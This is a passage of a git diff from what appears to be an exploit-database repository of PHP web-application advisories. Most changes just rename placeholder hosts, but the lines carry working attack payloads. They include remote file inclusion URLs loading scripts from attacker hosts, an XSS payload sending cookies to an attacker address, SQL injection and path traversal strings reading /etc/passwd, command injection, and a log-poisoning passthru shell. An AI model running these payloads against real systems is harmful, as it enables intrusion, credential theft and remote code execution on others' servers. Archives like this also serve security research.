http://[attacker]/common/dbo/deleteset.php http://[attacker]/common/dbo/updateset.php -http://[attacker]/common/dbo/insertset.php \ No newline at end of file +http://[attacker]/common/dbo/insertset.php \ No newline at end of file diff --git a/platforms/php/webapps/2212.txt b/platforms/php/webapps/2212.txt index 9dfad77e0..09a8b8b21 100755 --- a/platforms/php/webapps/2212.txt +++ b/platforms/php/webapps/2212.txt @@ -66,7 +66,7 @@ class Core */ #Exploit: -http://www.server/[phpCodeGenie_path]/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[phpCodeGenie_path]/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-18] diff --git a/platforms/php/webapps/22125.txt b/platforms/php/webapps/22125.txt index ca41ba470..664c6965b 100755 --- a/platforms/php/webapps/22125.txt +++ b/platforms/php/webapps/22125.txt @@ -7,4 +7,4 @@ When a victim user views any private messages, any malicious HTML code will be e Exploitation may allow for theft of cookie-based authentication credentials or other attacks. [IMG]http://[website]/img.gif"width="750"height="750"onmouseover=" -a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG] \ No newline at end of file +a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG] \ No newline at end of file diff --git a/platforms/php/webapps/22127.txt b/platforms/php/webapps/22127.txt index 8c7edd525..75c57c342 100755 --- a/platforms/php/webapps/22127.txt +++ b/platforms/php/webapps/22127.txt @@ -6,4 +6,4 @@ An attacker may exploit this by supplying a path to a maliciously created file, If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. -http://www.example.com/library/lib.php?root=http://attacker.org \ No newline at end of file +http://www.example.com/library/lib.php?root=http://attacker.org \ No newline at end of file diff --git a/platforms/php/webapps/2213.txt b/platforms/php/webapps/2213.txt index 0dbb4d92f..1501f7eaa 100755 --- a/platforms/php/webapps/2213.txt +++ b/platforms/php/webapps/2213.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/22133.txt b/platforms/php/webapps/22133.txt index cdc49f338..b56029a83 100755 --- a/platforms/php/webapps/22133.txt +++ b/platforms/php/webapps/22133.txt @@ -5,4 +5,4 @@ Reportedly, myPHPNuke does not adequately filter HTML code thus making it prone This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. http://victim/html/partner.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script> -http://victim/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script> \ No newline at end of file +http://victim/html/chatheader.php?mainfile=anything&Default_Theme='<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/22134.txt b/platforms/php/webapps/22134.txt index be00ea4ae..e1b5e61f0 100755 --- a/platforms/php/webapps/22134.txt +++ b/platforms/php/webapps/22134.txt @@ -17,4 +17,4 @@ any_name.php Then request the following page: -http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a \ No newline at end of file +http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a \ No newline at end of file diff --git a/platforms/php/webapps/2214.txt b/platforms/php/webapps/2214.txt index 7300662eb..15962ad1c 100755 --- a/platforms/php/webapps/2214.txt +++ b/platforms/php/webapps/2214.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/22146.txt b/platforms/php/webapps/22146.txt index 7baf2cf24..43ccd311f 100755 --- a/platforms/php/webapps/22146.txt +++ b/platforms/php/webapps/22146.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6591/info It has been reported that a problem exists in the Reminder.php script distributed as part of YaBB SE. Due to insufficient sanitizing of input, it is possible for a remote user to inject arbitrary SQL into the database used by YaBB SE that could be used to reset or change the password of a user. -http://www.example.com/yabbse/Reminder.php?searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername] \ No newline at end of file +http://www.example.com/yabbse/Reminder.php?searchtype=esearch&user=[yourusername]'%20or%20memberName='[otherusername] \ No newline at end of file diff --git a/platforms/php/webapps/22148.txt b/platforms/php/webapps/22148.txt index 5555a0cdd..f384092b7 100755 --- a/platforms/php/webapps/22148.txt +++ b/platforms/php/webapps/22148.txt @@ -4,4 +4,4 @@ A problem with phpPass may allow an attacker to launch a SQL injection attack. The vulnerability exists in the accesscontrol.php script included with phpPass. Due to insufficient sanitization of user-supplied input, it is possible for a remote user to inject arbitrary SQL into the database used by a vulnerable site. This may allow an attacker to view pages that would normally be restricted. -http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=' \ No newline at end of file +http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=' \ No newline at end of file diff --git a/platforms/php/webapps/2215.txt b/platforms/php/webapps/2215.txt index e353e8c94..afe00564e 100755 --- a/platforms/php/webapps/2215.txt +++ b/platforms/php/webapps/2215.txt @@ -1,4 +1,4 @@ -.:[ insecurity research team ]:. + .:[ insecurity research team ]:. .__..____.:.______.____.:.____ . .:. | |/ \:/ ___// __ \:/ _\.:. : | | | \\____\\ ___/\ /__ :. . diff --git a/platforms/php/webapps/22150.txt b/platforms/php/webapps/22150.txt index 6b5ab70b4..dd90bb619 100755 --- a/platforms/php/webapps/22150.txt +++ b/platforms/php/webapps/22150.txt @@ -4,4 +4,4 @@ A file disclosure vulnerability has been reported for W-Agora. It has been repor An attacker can construct a URL consisting of dot-dot-slash (../) character sequences to obtain access to files outside of the document root. It should be noted that only files accessible by the web server will be disclosed to the attacker. -http://target/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1 \ No newline at end of file +http://target/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1 \ No newline at end of file diff --git a/platforms/php/webapps/22152.txt b/platforms/php/webapps/22152.txt index 942285a84..ffbb1eb5b 100755 --- a/platforms/php/webapps/22152.txt +++ b/platforms/php/webapps/22152.txt @@ -1,4 +1,4 @@ -Exploit Title: Joomla commedia Remote Exploit + Exploit Title: Joomla commedia Remote Exploit dork: inurl:index.php?option=com_commedia @@ -59,7 +59,7 @@ if ($option==4){&sgj_users} sub jos_users { -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); @@ -98,7 +98,7 @@ chomp(my $target=<STDIN>); sub jml_users { -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); @@ -137,7 +137,7 @@ chomp(my $target=<STDIN>); sub muc_users { -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); @@ -176,7 +176,7 @@ chomp(my $target=<STDIN>); sub sgj_users { -print "\nIngrese el Sitio:[http://wwww.server/path/]: "; +print "\nIngrese el Sitio:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); @@ -216,3 +216,4 @@ chomp(my $target=<STDIN>); _____________________________________________________ Daniel Barragan "D4NB4R" 2012 + \ No newline at end of file diff --git a/platforms/php/webapps/2217.txt b/platforms/php/webapps/2217.txt index 2a243c03c..0c3629470 100755 --- a/platforms/php/webapps/2217.txt +++ b/platforms/php/webapps/2217.txt @@ -34,7 +34,7 @@ require_once $cropimagedir."class.cropinterface.php"; ############################################################ #Exploit: -http://www.server/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts? +http://www.site.com/[path]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://evil_scripts? ############################################################ diff --git a/platforms/php/webapps/22175.txt b/platforms/php/webapps/22175.txt index c9bc1cda2..b9bf6dea9 100755 --- a/platforms/php/webapps/22175.txt +++ b/platforms/php/webapps/22175.txt @@ -7,6 +7,6 @@ This issue will occur when an unsuspecting administrator loads the submitted des This vulnerability has also been reported to affect the 'edit.php' script. <body -onLoad= "parent.location='http://www.somewebserver/TopSitesdirectory/seditor.php? +onLoad= "parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php? sid=siteidnumber&a=delete'"> <body onLoad="window.open('http://attackerswebsite/launcher.htm')"> \ No newline at end of file diff --git a/platforms/php/webapps/22177.txt b/platforms/php/webapps/22177.txt index 29561f9de..5474e4258 100755 --- a/platforms/php/webapps/22177.txt +++ b/platforms/php/webapps/22177.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6625/info A vulnerability has been discovered in PHP TopSites. Due to insufficient sanitization of user-supplied URI parameters it is possible for an attacker to embed SQL commands into certain page requests. This may result in another users private information being disclose to an attacker. -http://examplewebserver/topsitesdirectory/edit.php?a=pre&submit=&sid=siteidnumber-- \ No newline at end of file +http://examplewebsite.com/topsitesdirectory/edit.php?a=pre&submit=&sid=siteidnumber-- \ No newline at end of file diff --git a/platforms/php/webapps/2218.txt b/platforms/php/webapps/2218.txt index 97f85fcf1..51ce9bc76 100755 --- a/platforms/php/webapps/2218.txt +++ b/platforms/php/webapps/2218.txt @@ -123,8 +123,8 @@ require_once($CONFIG['ADODB_PATH'].'/session/adodb-session.php'); */ #Exploit: -http://www.server/[Cce-interact_path]/admin/autoprompter.php?CONFIG[BASE_PATH]=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[Cce-interact_path]/admin/autoprompter.php?CONFIG[BASE_PATH]=[http://www.myevilsite.com/evil_scripts.txt] -http://www.server/[Cce-interact_path]/includes/common.inc.php?CONFIG[BASE_PATH]=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[Cce-interact_path]/includes/common.inc.php?CONFIG[BASE_PATH]=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-19] diff --git a/platforms/php/webapps/22206.txt b/platforms/php/webapps/22206.txt index 5909824de..8e40070ea 100755 --- a/platforms/php/webapps/22206.txt +++ b/platforms/php/webapps/22206.txt @@ -4,4 +4,4 @@ Nukebrowser is prone to an issue which may allow remote attackers to include fil Under some circumstances, it is possible for remote attackers to influence the include path for 'cmd.txt' to point to an external file on a remote server by manipulating some URI parameters. -http://[victim]/nukebrowser.php?filnavn=http://www.server&filhead=http://[web hosting]/cmd.txt&cmd=id \ No newline at end of file +http://[victim]/nukebrowser.php?filnavn=http://www.site.com&filhead=http://[web hosting]/cmd.txt&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/2221.txt b/platforms/php/webapps/2221.txt index 2faeed0a6..cc690541b 100755 --- a/platforms/php/webapps/2221.txt +++ b/platforms/php/webapps/2221.txt @@ -32,7 +32,7 @@ # #Example : # http://fscripts.com/ ====> vendor site =)) hahahahaaaaaa ====> 2.1.3 -# http://lnx.evanescencewebserver/PressArchive =====> 2.1.2 +# http://lnx.evanescencewebsite.com/PressArchive =====> 2.1.2 # # # diff --git a/platforms/php/webapps/2222.txt b/platforms/php/webapps/2222.txt index d8384147e..fddc4a69f 100755 --- a/platforms/php/webapps/2222.txt +++ b/platforms/php/webapps/2222.txt @@ -26,7 +26,7 @@ include($lm_absolute_path.'/admin/components/com_lurm/lang/lurm.'.$lm_adminlang) Exploit: -http://www.server/[path]/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=http://server/evilscript.txt? +http://www.site.com/[path]/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=http://site.com/evilscript.txt? ################################################### diff --git a/platforms/php/webapps/22241.txt b/platforms/php/webapps/22241.txt index 589f7d035..0e4e74398 100755 --- a/platforms/php/webapps/22241.txt +++ b/platforms/php/webapps/22241.txt @@ -8,4 +8,4 @@ If the remote file is a malicious PHP script, this may be exploited to execute a It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed. -http://[target]/email.php?login=attacker&cer_skin=http://[attacker]/code.php \ No newline at end of file +http://[target]/email.php?login=attacker&cer_skin=http://[attacker]/code.php \ No newline at end of file diff --git a/platforms/php/webapps/22242.txt b/platforms/php/webapps/22242.txt index 752cd8ecd..4d6fbb82e 100755 --- a/platforms/php/webapps/22242.txt +++ b/platforms/php/webapps/22242.txt @@ -8,4 +8,4 @@ If the remote file is a malicious PHP script, this may be exploited to execute a It has also been reported that it is possible to cause local files to be included, resulting in disclosure of webserver readable files to the attacker. This has not been confirmed. -http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php \ No newline at end of file +http://[target]/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker]/code.php \ No newline at end of file diff --git a/platforms/php/webapps/2225.txt b/platforms/php/webapps/2225.txt index 6b596e776..9c1de7d03 100755 --- a/platforms/php/webapps/2225.txt +++ b/platforms/php/webapps/2225.txt @@ -35,7 +35,7 @@ require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/components/ Exploit: -http://www.server/[path]/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://server/evilscript.txt? +http://www.site.com/[path]/administrator/components/com_babackup/classes/Tar.php?mosConfig_absolute_path=http://site.com/evilscript.txt? #################################################### diff --git a/platforms/php/webapps/22252.txt b/platforms/php/webapps/22252.txt index de36b8103..a30823123 100755 --- a/platforms/php/webapps/22252.txt +++ b/platforms/php/webapps/22252.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6862/info php-board user information is stored in flat files on the system hosting the software. Access to the files via the web is not sufficiently restricted. Remote attackers may request user files and gain access to php-board user and administrative passwords. -http://www.example.com/user/[NICKNAME].txt \ No newline at end of file +http://www.example.com/user/[NICKNAME].txt \ No newline at end of file diff --git a/platforms/php/webapps/22253.txt b/platforms/php/webapps/22253.txt index 4d9dde627..f15bb3837 100755 --- a/platforms/php/webapps/22253.txt +++ b/platforms/php/webapps/22253.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6866/info The DotBr 'system.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. -http://www.example.com/admin/system.php3?cmd=[COMMAND] \ No newline at end of file +http://www.example.com/admin/system.php3?cmd=[COMMAND] \ No newline at end of file diff --git a/platforms/php/webapps/22254.txt b/platforms/php/webapps/22254.txt index 9af414b1c..455076cc4 100755 --- a/platforms/php/webapps/22254.txt +++ b/platforms/php/webapps/22254.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6867/info The DotBr 'exec.php3' script is prone to a remote command execution vulnerability. This is due to insufficient sanitization of user-supplied data. Exploitation may result in execution of arbitrary shell commands with the privileges of the webserver process. -http://www.example.com/admin/exec.php3?cmd=[COMMAND] \ No newline at end of file +http://www.example.com/admin/exec.php3?cmd=[COMMAND] \ No newline at end of file diff --git a/platforms/php/webapps/22256.txt b/platforms/php/webapps/22256.txt index 5d52134f9..8a41a0ca0 100755 --- a/platforms/php/webapps/22256.txt +++ b/platforms/php/webapps/22256.txt @@ -4,4 +4,4 @@ D-Forum is prone to an issue which may allow remote attackers to include files l Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. -http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt \ No newline at end of file +http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt \ No newline at end of file diff --git a/platforms/php/webapps/2226.txt b/platforms/php/webapps/2226.txt index ed3c6c3c8..b7911140d 100755 --- a/platforms/php/webapps/2226.txt +++ b/platforms/php/webapps/2226.txt @@ -44,16 +44,16 @@ a lot of include vulnerability ..... */ #Exploit: -http://www.server/[NES_path]/phphtmllib/includes.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/tag_utils/divtag_utils.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/tag_utils/form_utils.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/tag_utils/html_utils.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/tag_utils/localinc.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/FooterNav.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/HTMLPageClass.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/InfoTable.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/localinc.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/NavTable.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[NES_path]/phphtmllib/widgets/TextNav.php?phphtmllib=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/includes.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/tag_utils/divtag_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/tag_utils/form_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/tag_utils/html_utils.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/tag_utils/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/FooterNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/HTMLPageClass.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/InfoTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/localinc.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/NavTable.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[NES_path]/phphtmllib/widgets/TextNav.php?phphtmllib=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-20] diff --git a/platforms/php/webapps/22268.txt b/platforms/php/webapps/22268.txt index ea251cd5e..41bab6177 100755 --- a/platforms/php/webapps/22268.txt +++ b/platforms/php/webapps/22268.txt @@ -8,4 +8,4 @@ This vulnerability was reported for myPHPNuke 1.8.8 earlier versions may also be http://www.example.com/myphpnuke/links.php?op=MostPopular&ratenum=[scr!pt]alert(document.cookie);[/scr!pt]&ratetype=percent -http://www.example.com/myphpnuke/links.php?op=search&query=[scr!pt]alert('tacettin@olympos.org');[/scr!pt]?query= \ No newline at end of file +http://www.example.com/myphpnuke/links.php?op=search&query=[scr!pt]alert('tacettin@olympos.org');[/scr!pt]?query= \ No newline at end of file diff --git a/platforms/php/webapps/2227.txt b/platforms/php/webapps/2227.txt index 6d48d90e5..4e904d7f2 100755 --- a/platforms/php/webapps/2227.txt +++ b/platforms/php/webapps/2227.txt @@ -39,6 +39,6 @@ */ #Exploit: -http://www.server/[SportsPHool_path]/includes/layout/plain.footer.php?mainnav=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[SportsPHool_path]/includes/layout/plain.footer.php?mainnav=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-20] diff --git a/platforms/php/webapps/22276.txt b/platforms/php/webapps/22276.txt index ba0483cab..170d63598 100755 --- a/platforms/php/webapps/22276.txt +++ b/platforms/php/webapps/22276.txt @@ -8,4 +8,4 @@ http://www.example.org/index.php?file=Team&op=<script>alert('Test');</script> http://www.example.org/index.php?file=News&op=<script>alert('test');</script> -http://www.example.org/index.php?file=Liens&op=<script>alert('test');</script> \ No newline at end of file +http://www.example.org/index.php?file=Liens&op=<script>alert('test');</script> \ No newline at end of file diff --git a/platforms/php/webapps/22277.txt b/platforms/php/webapps/22277.txt index 476c49d14..a8d8de797 100755 --- a/platforms/php/webapps/22277.txt +++ b/platforms/php/webapps/22277.txt @@ -8,4 +8,4 @@ The vulnerability was reported for Nuked-Klan beta 1.3; earlier versions may als http://www.example.org/index.php?file=Team&op=phpinfo http://www.example.org/index.php?file=News&op=phpinfo -http://www.example.org/index.php?file=Liens&op=phpinfo \ No newline at end of file +http://www.example.org/index.php?file=Liens&op=phpinfo \ No newline at end of file diff --git a/platforms/php/webapps/22279.txt b/platforms/php/webapps/22279.txt index b9a0d2afa..08052733c 100755 --- a/platforms/php/webapps/22279.txt +++ b/platforms/php/webapps/22279.txt @@ -6,4 +6,4 @@ By crafting specific URI parameters it is possible for an attacker to influence This vulnerability has been reported for GONiCUS System Administrator Version 1, previous versions may also be affected. -http://www.example.org/include/help.php?base=http://www.attacker.org/ \ No newline at end of file +http://www.example.org/include/help.php?base=http://www.attacker.org/ \ No newline at end of file diff --git a/platforms/php/webapps/22281.php b/platforms/php/webapps/22281.php index 608a39f13..fd5c2e04e 100755 --- a/platforms/php/webapps/22281.php +++ b/platforms/php/webapps/22281.php @@ -64,7 +64,7 @@ This issue was reported in Mambo Site Server 4.0.12 RC2. Earlier versions may al ��<table border="0" cellspacing="0" cellpadding="0"> ����<tr> ������<td width="120" height="30">Hostname</td> -������<td width="280" height="30"><input type="text" name="hostname" size="30" value="www.mamboserver"/></td> +������<td width="280" height="30"><input type="text" name="hostname" size="30" value="www.mamboserver.com"/></td> ����</tr> ����<tr> ������<td width="120" height="30">Main directory</td> diff --git a/platforms/php/webapps/22282.txt b/platforms/php/webapps/22282.txt index 8e78002e7..a56e216df 100755 --- a/platforms/php/webapps/22282.txt +++ b/platforms/php/webapps/22282.txt @@ -8,4 +8,4 @@ An attacker can exploit this vulnerability and specify arbitrary files as the pa http://www.example.org/sendphoto.php?album=..&pic=config.inc.php -http://www.example.org/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1 \ No newline at end of file +http://www.example.org/sendphoto.php?album=..&pic=config.inc.php&sendto=[E-MAIL]&filled=1 \ No newline at end of file diff --git a/platforms/php/webapps/22283.txt b/platforms/php/webapps/22283.txt index 777aece5b..67475c4ec 100755 --- a/platforms/php/webapps/22283.txt +++ b/platforms/php/webapps/22283.txt @@ -11,4 +11,4 @@ http://www.example.com/cutenews/shownews.php?cutepath=http://<attacker_site>/con ----------------------------------config.php---------------------------------------- /", $item); if ($match[1]) { if (preg_match("/\//", $match[1])) { echo $match[1]; echo " -"; } } } ?> \ No newline at end of file +"; } } } ?> \ No newline at end of file diff --git a/platforms/php/webapps/2229.txt b/platforms/php/webapps/2229.txt index f4d300d1b..0b451c87e 100755 --- a/platforms/php/webapps/2229.txt +++ b/platforms/php/webapps/2229.txt @@ -44,9 +44,9 @@ Shadows Rising RPG <- GAME OVER :D */ #Exploit: -http://www.server/[ShadowsRising_path]/core/includes/security.inc.php?CONFIG[gameroot]=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[ShadowsRising_path]/core/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[ShadowsRising_path]/qcms/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilserver/evil_scripts.txt] -http://www.server/[ShadowsRising_path]/qlib/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilserver/evil_scripts.txt] +http://www.site.com/[ShadowsRising_path]/core/includes/security.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[ShadowsRising_path]/core/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[ShadowsRising_path]/qcms/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt] +http://www.site.com/[ShadowsRising_path]/qlib/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt] # milw0rm.com [2006-08-20] diff --git a/platforms/php/webapps/22293.txt b/platforms/php/webapps/22293.txt index 34e8f1735..03731486c 100755 --- a/platforms/php/webapps/22293.txt +++ b/platforms/php/webapps/22293.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6970/info E-theni may allow inclusion of malicious remote files. This is due to remote users being able to influence the include path of an external file ('para_langue.php') referenced by the 'aff_liste_langue.php' script. This could result in arbitrary command execution. -http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php \ No newline at end of file +http://www.example.com/admin_t/include/aff_liste_langue.php?rep_include=http://<attacker_site>/para_langue.php \ No newline at end of file diff --git a/platforms/php/webapps/22295.txt b/platforms/php/webapps/22295.txt index 2a1b2508e..774d302ee 100755 --- a/platforms/php/webapps/22295.txt +++ b/platforms/php/webapps/22295.txt @@ -8,4 +8,4 @@ Under some circumstances, it may be possible for remote attackers to influence t If the remote file is a malicious file, this vulnerability may be exploited to execute arbitrary system commands in the context of the web server. -http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php \ No newline at end of file +http://www.example.com/ipchat.php?root_path=http://www.attacker.com/conf_global.php \ No newline at end of file diff --git a/platforms/php/webapps/22298.txt b/platforms/php/webapps/22298.txt index 71526538d..a368366a8 100755 --- a/platforms/php/webapps/22298.txt +++ b/platforms/php/webapps/22298.txt @@ -7,4 +7,4 @@ This vulnerability is as a result of insufficient sanitization performed on remo If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. http://localhost/<%3f %60echo %27<%3fpassthru(%5c%24c)%3f>%27 >> ./x.php%60 %3f> -http://localhost/typo3/typo3/dev/translations.php?ONLY=relative_apache_path/apache/logs/error_log%00' \ No newline at end of file +http://localhost/typo3/typo3/dev/translations.php?ONLY=relative_apache_path/apache/logs/error_log%00' \ No newline at end of file diff --git a/platforms/php/webapps/22317.txt b/platforms/php/webapps/22317.txt index 1a400b4b0..0ee80d813 100755 --- a/platforms/php/webapps/22317.txt +++ b/platforms/php/webapps/22317.txt @@ -6,4 +6,4 @@ This vulnerability is as a result of insufficient sanitization performed on remo Under some circumstances, it is possible for remote attackers to manipulate URI parameters to include external files on remote servers. If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. -http://server/index.php?function=custom&custom=http://www.attacker.com/1.custom.inc \ No newline at end of file +http://www.target.com/index.php?function=custom&custom=http://www.attacker.com/1.custom.inc \ No newline at end of file diff --git a/platforms/php/webapps/22318.txt b/platforms/php/webapps/22318.txt index 6be5bda6e..950cb8842 100755 --- a/platforms/php/webapps/22318.txt +++ b/platforms/php/webapps/22318.txt @@ -6,5 +6,5 @@ This vulnerability is as a result of insufficient sanitization performed on remo If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. -http://www.example.com/defines.php?WEBCHATPATH=http://server/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://server/language/english.php +http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/db_mysql.php http://www.example.com/defines.php?WEBCHATPATH=http://www.target.com/language/english.php diff --git a/platforms/php/webapps/2232.pl b/platforms/php/webapps/2232.pl index 4c69e3645..724479250 100755 --- a/platforms/php/webapps/2232.pl +++ b/platforms/php/webapps/2232.pl @@ -16,7 +16,7 @@ sub usage() { header(); print " *Usage: $0 <host> <path> <id>\r\n"; - print " *<host> = Victim's host ex: www.server\r\n"; + print " *<host> = Victim's host ex: www.site.com\r\n"; print " *<path> = SimpleBlog Path ex: /SimpleBlog/\r\n"; print " *<id> = Admin ID ex: 1\r\n"; exit(); diff --git a/platforms/php/webapps/22336.txt b/platforms/php/webapps/22336.txt index bb69f072b..ec7b78857 100755 --- a/platforms/php/webapps/22336.txt +++ b/platforms/php/webapps/22336.txt @@ -4,4 +4,4 @@ A vulnerability has been reported in PHPPing that may allow remote attackers to The vulnerability exists in the index.php script file. Some variables are not properly sanitized of malicious shell metacharacters. An attacker can exploit this vulnerability by executing the PHPPing script and include malicious shell metacharacters as values for various parameters. -http://server/phpping/index.php?pingto=www.test.com%20|%20dir \ No newline at end of file +http://www.target.com/phpping/index.php?pingto=www.test.com%20|%20dir \ No newline at end of file diff --git a/platforms/php/webapps/2236.txt b/platforms/php/webapps/2236.txt index c032e8c3b..94db0158c 100755 --- a/platforms/php/webapps/2236.txt +++ b/platforms/php/webapps/2236.txt @@ -22,7 +22,7 @@ Exploit: Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script] +# http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script] --------------------------------------------------------------------------- diff --git a/platforms/php/webapps/2239.txt b/platforms/php/webapps/2239.txt index 3c3ca6d6d..9bcde0cef 100755 --- a/platforms/php/webapps/2239.txt +++ b/platforms/php/webapps/2239.txt @@ -1,4 +1,4 @@ -Empire CMS <=3.7 (checklevel.php) Remote File Include Vulnerability + Empire CMS <=3.7 (checklevel.php) Remote File Include Vulnerability Find by: Bob Linuson # Code: @@ -13,7 +13,7 @@ Empire CMS <=3.7 (checklevel.php) Remote File Include Vulnerability #Exploit: 